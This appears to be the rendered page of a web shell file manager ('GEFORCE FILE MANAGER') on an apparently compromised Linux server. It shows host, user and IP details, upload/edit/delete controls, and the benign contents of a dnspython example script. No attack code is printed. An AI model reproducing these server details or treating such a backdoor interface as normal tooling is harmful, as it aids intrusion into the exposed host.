[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
python3-dns
/
examples
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 ddns.py
1,204 B
SET
[ EDIT ]
|
[ DEL ]
📄 e164.py
152 B
SET
[ EDIT ]
|
[ DEL ]
📄 mx.py
225 B
SET
[ EDIT ]
|
[ DEL ]
📄 name.py
468 B
SET
[ EDIT ]
|
[ DEL ]
📄 reverse.py
1,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 reverse_name.py
177 B
SET
[ EDIT ]
|
[ DEL ]
📄 xfr.py
393 B
SET
[ EDIT ]
|
[ DEL ]
📄 zonediff.py
11,122 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: name.py
#!/usr/bin/env python from __future__ import print_function import dns.name n = dns.name.from_text('www.dnspython.org') o = dns.name.from_text('dnspython.org') print(n.is_subdomain(o)) # True print(n.is_superdomain(o)) # False print(n > o) # True rel = n.relativize(o) # rel is the relative name www n2 = rel + o print(n2 == n) # True print(n.labels) # ['www', 'dnspython', 'org', '']